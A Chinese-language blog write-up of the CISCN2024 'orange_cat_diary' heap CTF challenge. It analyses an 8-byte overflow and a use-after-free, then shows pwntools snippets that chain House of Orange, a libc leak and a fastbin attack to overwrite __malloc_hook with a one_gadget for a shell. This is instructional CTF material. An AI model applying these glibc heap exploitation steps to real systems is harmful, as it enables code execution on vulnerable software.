Zj_W1nd's BLOG

How2Heap实战(1)——CISCN2024orange_cat_diary

2024/07/18

题目内容

IDA 分析,经典的堆题,保护全开,四个选项增删改查。

add:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 add()
{
int v1; // [rsp+4h] [rbp-Ch]

printf("Please input the length of the diary content:");
v1 = input_8byte();
if ( (unsigned int)v1 > 0x1000 )
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
ptr = malloc(v1);
if ( !ptr )
{
puts("Memory allocation failed.");
exit(1);
}
diary_size = v1;
puts("Please enter the diary content:");
read(0, ptr, diary_size);
puts("Diary addition successful.");
return 0LL;
}

限制最大分配字节数0x1000,然后用ptr(全局变量)保存返回的堆指针,diary_size(全局变量)保存我们输入的大小。没有漏洞。

edit:溢出8字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 edit()
{
int v1; // [rsp+4h] [rbp-Ch]

printf("Please input the length of the diary content:");
v1 = input_8byte();
if ( diary_size + 8 < (unsigned int)v1 ) // 允许溢出8字节?
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
puts("Please enter the diary content:");
read(0, ptr, v1);
puts("Diary modification successful.");
return 0LL;
}

可以修改ptr指向的区域的对应内容,观察检查,允许我们超出diary_size 8个字节写,存在小规模的堆溢出,正好可以覆盖size域,修改邻近高地址chunk的size。

delete:UAF

1
2
3
4
5
6
7
8
9
10
__int64 delete()
{
if ( free_once > 0 )
{
free(ptr);
--free_once; // 不对,这个块永远相邻topchunk,没法进unsorted bin
}
puts("Diary deletion successful.");
return 0LL;
}

释放ptr指向的chunk。free_once是一个静态的变量,值为1,也就是说程序只允许我们free一次。另外存在UAF,ptr在free后不置空。

show:

1
2
3
4
5
6
7
8
9
10
__int64 show()
{
if ( read_once > 0 )
{
fwrite(ptr, 1uLL, diary_size, stdout);
--read_once;
}
puts("Diary view successful.");
return 0LL;
}

打印ptr指向区域diary_size大小的内容,同理,只允许我们泄露一次。

考虑每次分配都会写一次ptr和diary_size,也就意味着程序只能UAF和读取最近一次分配的堆块。

思路

题目名字都提示了,肯定是要用一次house of orange的。我们必须好好利用仅有的一次释放和一次读机会。
我们能够启动攻击的入手点就在那个8字节的溢出和最近分配chunk的UAF。溢出字节只有8写不了fd和bk指针,很多攻击手段就失效了。最近分配chunk的UAF操作和唯一一次free大概率是要用于getshell的任意地址写,所以联想题目名字,泄露地址肯定是house of orange后分配chunk再读。
然后getshell使用一个能任意地址分配的方法,思路采用fastbin attack将chunk 分配到__malloc_hook附近写为onegadget即可。

操作过程和问题解决

House of Orange与fencepost chunk

第一步用house of orange将原本的top放进unsorted bin中

1
2
3
4
5
6
7
#--------------House of Orange----------------------
evil_size=0xfe1 #page aligned
add(0x18,b'a')# 0, 0x20
edit(0x20,(b'\x00'*0x18+p64(evil_size)))# overflow
add(0x1000,b'1')
# now topchunk is in unsorted bin
#--------------House of Orange----------------------

奇怪的是,这里动调的时候发现在申请0x1000的chunk后,原来的旧top chunk最高地址处被切了两个0x10的小chunk出来,同时放入unsorted bin的旧top的size也减少了0x20。

这里是因为sysmalloc函数的缘故。这个函数在处理旧top的时候插入了两个2*SIZE_SZ的围栏(fencepost)边界块,用来防止不同内存区域的错误合并。libc源代码的操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (old_size != 0)
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE);
/*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
chunk_at_offset (old_top, old_size)->size =
(2 * SIZE_SZ) | PREV_INUSE;
chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
(2 * SIZE_SZ) | PREV_INUSE;
/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);
}
}

注意上面的两次对chunk_at_offset的size的写入,在释放old_top前创建了两个fencepost块,我们也不用过多管是出于什么目的,反正能对上源码,知道这是sysmalloc在释放oldtop前做的操作就可以了

unsortedbin leak libc,切割old top

这里的地址泄露困扰了我很久这时,unsorted bin里的旧top的fd和bk指向main_arena+88的偏移位置,由于我们等下要用UAF来实现任意地址分配,所以这里的泄露只能通过从旧chunk中切一个新的再读来实现。我们随便分配一个差不多大小的chunk,malloc会从这个unsorted bin中的old_top切一块给我们。然后读一下内容就行了。

1
2
3
4
5
add(0x38, b'1')# 将old top 取出来,里面此时有main_arena地址信息 fd末尾写成0x31
show()
largebin_addr=u64(p.recvuntil(b"Diary view successful.\n")[8:16])
main_arena_offset=libc.symbols["__malloc_hook"]+0x10
libc_addr=largebin_addr-0x610-88-main_arena_offset

但是很抽象的是,读取出来的地址并不对,我们能发现读出来的chunk有四个字段都被写了,fd_nextsize和bk_nextsize也被写了。其fd和bk存储的内容发生了变化,不是main_arena+0x58。而被切后仍然留在unsorted bin中的old_top,其fd和bk仍然不变。这是为什么?我们怎么利用读出来的这个地址?

动调了一下,结合ida反汇编的libc文件对照汇编代码以及libc源码终于发现是什么问题了。我们知道malloc在发现fastbin和smallbin不满足的时候会进入一个大循环处理unsorted bin中的chunk,在这里有猫腻。

现在的old_top显然是一个large chunk,因此malloc在循环处理中先将它整个放进了large bin,在其中发生了写操作,将fd和bk,fd_nextsize和bk_nextsize都重新写了。也就是我们后面读出来的fd和bk其实是指向BINS数组中相应大小largebin的位置。操作如下(largebin为空的情况下):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...//在largebin range内的操作
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck){
......
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;

mark_bin (av, victim_index);
victim->bk = bck;//bk和fd被改写了
victim->fd = fwd;

fwd->bk = victim;//写bins的指向
bck->fd = victim;

这段操作和我们动调看到的也一致————切出的chunk具有fd_nextsize和bk_nextsize字段且都指向自己。所以malloc还给我们的chunk的内容不是main_arena+0x58.

那怎么办呢?虽然不是0x58但还是指向main_arena内部,所以看一下偏移就好了。动调看一下刚刚的remainder(被放回unsorted bin)的fd和bk,他们是从原来copy过去的肯定还是指向main_arena+88, 作差确定偏移是0x610即可。

remainder的fd和bk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 切割后返回的size是正常的
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;

fastbin attack: alloc 2 malloc_hook

拿到了libc基地址随便嗯造就行。这里我们要把一个fastbin大小的堆块分配在malloc_hook附近。但是光改fd不够,我们要在malloc_hook低地址处找到一个合法的size域来构建我们的phantom_chunk.

这其实有个技巧基础,因为libc的基地址大多以0x7f打头,因此我们可以利用字节错位+小端序的特点来找到一个合适的0x7f的size域来通过malloc对fastbin分配的检查(只检查size和第一个是否double free)。动调看一下内存,果然有(见下方exp注释部分)。这个0x7f在mallochook-0x13的位置,算上prev_size,要减0x23。

分配一个真实size 0x70大小的chunk(申请0x68),然后UAF写其fd为malloc_hook-0x23,连续申请两次0x68大小的chunk,第二次申请出的就是malloc_hook附近的chunk了。接下来直接edit(0x13是因为malloc肯定返回的是跳过size的可写部分),写入one_gadget后随便申请一个chunk就能getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# fast bin attack
malloc_hook_addr=libc_addr+libc.symbols["__malloc_hook"] # 拿下,正确地址!
one_gadget=libc_addr+0xf03a4
# x /64bx 0x7f815bf9aae0
# 0x7f815bf9aae0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
# 0x7f815bf9aae8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
# 0x7f815bf9aaf0: 0x60 0x92 0xf9 0x5b 0x81 0x7f 0x00 0x00
# 0x7f815bf9aaf8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
# 0x7f815bf9ab00 <__memalign_hook>: 0xa0 0xbe 0xc5 0x5b 0x81 0x7f 0x00 0x00
# 0x7f815bf9ab08 <__realloc_hook>: 0x70 0xba 0xc5 0x5b 0x81 0x7f 0x00 0x00
# 0x7f815bf9ab10 <__malloc_hook>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
# 0x7f815bf9ab18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
phantom_chunk=malloc_hook_addr-0x23
add(0x68,b'1') #0x70 为了0x7f size满足
delete()
# 字节错位伪造size
edit(8,p64(phantom_chunk)) # UAF制造fake fd
add(0x68,b'1')
add(0x68,b'1')# place at phantom
edit(0x13+0x8,b'\x00'*0x13+p64(libc_addr+0xf03a4))# overwrite __malloc_hook

技巧总结:

  • 溢出长度足够8字节的情况下,house of orange的一次额外free机会

  • leak libc地址,malloc不清空chunk内容,但是要注意fd和bk写的是什么,对main_arena+88算下偏移

  • fastbin attack的利用是基于在malloc_hook附近申请并分配一个0x70大小chunk(利用0x7f的字节错位来伪造一个0x70的fastbin范围内的size域)。

CATALOG
  1. 1. 题目内容
    1. 1.1. add:
    2. 1.2. edit:溢出8字节
    3. 1.3. delete:UAF
    4. 1.4. show:
  2. 2. 思路
  3. 3. 操作过程和问题解决
    1. 3.1. House of Orange与fencepost chunk
    2. 3.2. unsortedbin leak libc,切割old top
    3. 3.3. fastbin attack: alloc 2 malloc_hook
  4. 4. 技巧总结: